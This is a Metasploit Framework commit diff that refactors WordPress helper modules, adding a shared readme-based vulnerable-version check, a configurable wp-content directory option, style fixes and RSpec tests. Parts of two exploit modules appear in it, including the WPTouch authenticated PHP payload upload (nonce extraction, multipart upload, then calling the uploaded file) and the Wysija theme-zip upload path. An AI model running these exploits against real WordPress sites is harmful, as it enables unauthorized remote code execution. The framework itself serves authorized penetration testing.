extracted check version to module

also added some wordpress specs and applied
rubocop
bug/bundler_fix
Christian Mehlmauer 2014-07-22 17:02:35 +02:00
parent ffafd4c01f
commit baff003ecc
No known key found for this signature in database
GPG Key ID: BCFF4FA966BC32C7
9 changed files with 404 additions and 107 deletions

View File

@ -1,3 +1,4 @@
# encoding: UTF-8
# -*- coding: binary -*-
# This module provides a way of interacting with wordpress installations
@ -25,10 +26,20 @@ module Msf
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
], HTTP::Wordpress
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
], HTTP::Wordpress
)
register_advanced_options(
[
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
], HTTP::Wordpress
)
end
def wp_content_dir
datastore['WPCONTENTDIR']
end
end
end

View File

@ -1,28 +1,25 @@
# encoding: UTF-8
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Base
# Checks if the site is online and running wordpress
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return res if res and
res.code == 200 and
(
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
)
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
return nil
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return res if res &&
res.code == 200 &&
(
res.body =~ /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i ||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i ||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
)
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
return nil
end
end

View File

@ -1,6 +1,7 @@
# encoding: UTF-8
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Login
module Msf::HTTP::Wordpress::Login
# performs a wordpress login
#
# @param user [String] Username
@ -8,21 +9,24 @@ module Msf::HTTP::Wordpress::Login
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
})
)
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
if res && (res.code == 301 || res.code == 302) && res.headers['Location'] == redirect
cookies = res.get_cookies
# Check if a valid wordpress cookie is returned
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
return cookies if
# current Wordpress
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
# Wordpress 2.0
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
# Wordpress 2.5
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
end
return nil
nil
end
end

View File

@ -1,7 +1,7 @@
# encoding: UTF-8
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Version
# Extracts the Wordpress version information from various sources
#
# @return [String,nil] Wordpress version if found, nil otherwise
@ -37,6 +37,28 @@ module Msf::HTTP::Wordpress::Version
nil
end
# Checks a readme for a vulnerable version
#
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional. The version the vulnerability was introduced.
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional. The version the vulnerability was introduced.
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
private
# Used to check if the version is correct: must contain at least one dot.
@ -47,18 +69,62 @@ module Msf::HTTP::Wordpress::Version
end
def wordpress_version_helper(url, regex)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res
match = res.body.match(regex)
if match
return match[1]
end
return match[1] if match
end
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
when :theme
folder = 'themes'
else
fail("Unknown type #{type}")
end
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
return
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end

View File

@ -1,3 +1,5 @@
# encoding: UTF-8
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'Wordpress WPTouch Authenticated File Upload',
'Description' => %q{
The Wordpress WPTouch plugin contains an auhtenticated file upload
@ -33,19 +36,19 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wptouch < 3.4.3', {}] ],
'Targets' => [['wptouch < 3.4.3', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 14 2014'))
register_options(
[
OptString.new('USER', [true, "A valid username", nil]),
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
OptString.new('USER', [true, 'A valid username', nil]),
OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end
@ -58,55 +61,29 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
# no readme.txt present
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
if version.nil?
return Msf::Exploit::CheckCode::Detected
end
vprint_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('3.4.3')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
check_plugin_version_from_readme('wptouch', '3.4.3')
end
def get_nonce(cookie)
res = send_request_cgi({
res = send_request_cgi(
'uri' => wordpress_url_backend,
'method' => 'GET',
'cookie' => cookie
})
)
# forward to profile.php or other page?
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
if res && res.code.to_s =~ /30[0-9]/ && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to #{location}")
res = send_request_cgi({
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => cookie
})
)
end
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
return $1
if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
return Regexp.last_match[1]
else
return nil
end
@ -124,20 +101,20 @@ class Metasploit3 < Msf::Exploit::Remote
post_data = data.to_s
print_status("#{peer} - Uploading payload")
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
})
)
if res and res.code == 200 and res.body and res.body.length > 0
if res && res.code == 200 && res.body && res.body.length > 0
register_files_for_cleanup(filename)
return res.body
end
return nil
nil
end
def exploit
@ -164,9 +141,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
print_status("#{peer} - Calling uploaded file #{file_path}")
res = send_request_cgi({
send_request_cgi(
'uri' => file_path,
'method' => 'GET'
})
)
end
end

View File

@ -70,29 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
end
def exploit
@ -101,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
zip_content = create_zip_file(theme_name, payload_name)
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
data = Rex::MIME::Message.new
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
@ -112,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi(

View File

@ -0,0 +1,57 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit'
require 'rex/proto/http/response'
require 'msf/http/wordpress'
describe Msf::HTTP::Wordpress::Base do
subject do
mod = ::Msf::Exploit.new
mod.extend ::Msf::HTTP::Wordpress
mod.send(:initialize)
mod
end
describe '#wordpress_and_online?' do
before :each do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
context 'when wp-content in body' do
let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' }
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
end
context 'when wlwmanifest in body' do
let(:wp_body) { '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://domain.com/wp-includes/wlwmanifest.xml" />' }
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
end
context 'when pingback in body' do
let(:wp_body) { '<link rel="pingback" href="https://domain.com/xmlrpc.php" />' }
it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response }
end
context 'when status code != 200' do
let(:wp_body) { nil }
let(:wp_code) { 404 }
it { expect(subject.wordpress_and_online?).to be_nil }
end
context 'when no match in body' do
let(:wp_body) { 'Invalid body' }
it { expect(subject.wordpress_and_online?).to be_nil }
end
end
end

View File

@ -0,0 +1,73 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit'
require 'rex/proto/http/response'
require 'msf/http/wordpress'
describe Msf::HTTP::Wordpress::Login do
subject do
mod = ::Msf::Exploit.new
mod.extend ::Msf::HTTP::Wordpress
mod.send(:initialize)
mod
end
describe '#wordpress_login' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = 301
if wp_redirect
res['Location'] = wp_redirect
else
res['Location'] = opts['vars_post']['redirect_to']
end
res['Set-Cookie'] = wp_cookie
res.body = 'My Homepage'
res
end
end
let(:wp_redirect) { nil }
context 'when current Wordpress' do
let(:wp_cookie) { 'wordpress_logged_in_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when current Wordpress sec cookie' do
let(:wp_cookie) { 'wordpress_sec_logged_in_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when Wordpress 2.5' do
let(:wp_cookie) { 'wordpress_asdf=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when Wordpress 2.0 user cookie' do
let(:wp_cookie) { 'wordpressuser_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when Wordpress 2.0 pass cookie' do
let(:wp_cookie) { 'wordpresspass_1234=1234;' }
it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) }
end
context 'when invalid login' do
let(:wp_cookie) { 'invalid=cookie;' }
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
end
context 'when invalid redirect' do
let(:wp_cookie) { 'invalid=cookie;' }
let(:wp_redirect) { '/invalid/redirect' }
it { expect(subject.wordpress_login('invalid', 'login')).to be_nil }
end
end
end

View File

@ -0,0 +1,134 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit'
require 'rex/proto/http/response'
require 'msf/http/wordpress'
describe Msf::HTTP::Wordpress::Version do
subject do
mod = ::Msf::Exploit.new
mod.extend ::Msf::HTTP::Wordpress
mod.send(:initialize)
mod
end
describe '#wordpress_version' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = 200
res.body = wp_body
res
end
end
let(:wp_version) {
r = Random.new
"#{r.rand(10)}.#{r.rand(10)}.#{r.rand(10)}"
}
context 'when version from generator' do
let(:wp_body) { '<meta name="generator" content="WordPress ' << wp_version << '" />' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from readme' do
let(:wp_body) { " <br /> Version #{wp_version}" }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from rss' do
let(:wp_body) { "<generator>http://wordpress.org/?v=#{wp_version}</generator>" }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from rdf' do
let(:wp_body) { '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' << wp_version << '" />' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from atom' do
let(:wp_body) { '<generator uri="http://wordpress.org/" version="' << wp_version << '">WordPress</generator>' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from sitemap' do
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
context 'when version from opml' do
let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' }
it { expect(subject.wordpress_version).to eq(wp_version) }
end
end
describe '#check_version_from_readme' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
let(:wp_body) { nil }
let(:wp_fixed_version) { nil }
context 'when no readme is found' do
let(:wp_code) { 404 }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
end
context 'when no version can be extracted from readme' do
let(:wp_code) { 200 }
let(:wp_body) { 'invalid content' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is not vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'stable tag: 1.0.2' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is vulnerable (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.2' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'stable tag: 1.0.1' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is older (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'stable tag: 0.0.9' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'stable tag: 1.0.2' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
end
end